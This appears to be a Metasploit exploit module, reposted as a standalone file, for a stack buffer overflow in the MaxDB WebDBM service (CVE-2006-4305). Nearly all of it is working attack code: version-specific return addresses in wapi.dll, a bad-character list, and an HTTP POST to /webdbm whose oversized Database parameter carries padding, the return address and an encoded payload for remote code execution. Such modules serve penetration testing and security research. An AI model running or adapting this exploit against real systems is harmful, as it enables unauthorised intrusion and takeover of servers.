MaxDB WebDBM Database Parameter Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'MaxDB WebDBM Database Parameter Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the MaxDB WebDBM   
service. By sending a specially-crafted HTTP request that contains  
an overly long database name. A remote attacker could overflow a buffer   
and execute arbitrary code on the system with privileges of the wahttp process.  
  
This module has been tested against MaxDB 7.6.00.16 and MaxDB 7.6.00.27.   
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
['CVE', '2006-4305'],  
['OSVDB', '28300'],  
['BID', '19660'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 400,  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x40",  
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'MaxDB 7.6.00.16', { 'Ret' => 0x1005a08f } ], # wapi.dll  
[ 'MaxDB 7.6.00.27', { 'Ret' => 0x1005b08f } ], # wapi.dll  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Aug 29 2006'))  
  
register_options( [ Opt::RPORT(9999) ], self.class )  
  
end  
  
def exploit  
connect  
  
server = rand_text_english(5, payload_badchars)  
user = rand_text_english(5, payload_badchars)  
pass = rand_text_english(5, payload_badchars)  
port = rand(65535).to_s  
  
sploit = rand_text_alphanumeric(91, payload_badchars) + [target.ret].pack('V')  
sploit << payload.encoded  
  
req = "Event=DBM_LOGON&Action=LOGON&Server=#{server}&Database=#{sploit}"  
req << "&User=#{user}&Password=#{pass}"  
  
res = "POST /webdbm HTTP/1.1\r\n" + "Host: #{rhost}:#{port}\r\n"   
res << "Content-Length: #{req.length}" + "\r\n\r\n" + req + "\r\n"  
  
print_status("Trying target %s..." % target.name)  
  
sock.put(res)  
  
#give wahttp.exe a bit to recover...  
sleep 2  
  
handler  
disconnect  
end  
  
end  
`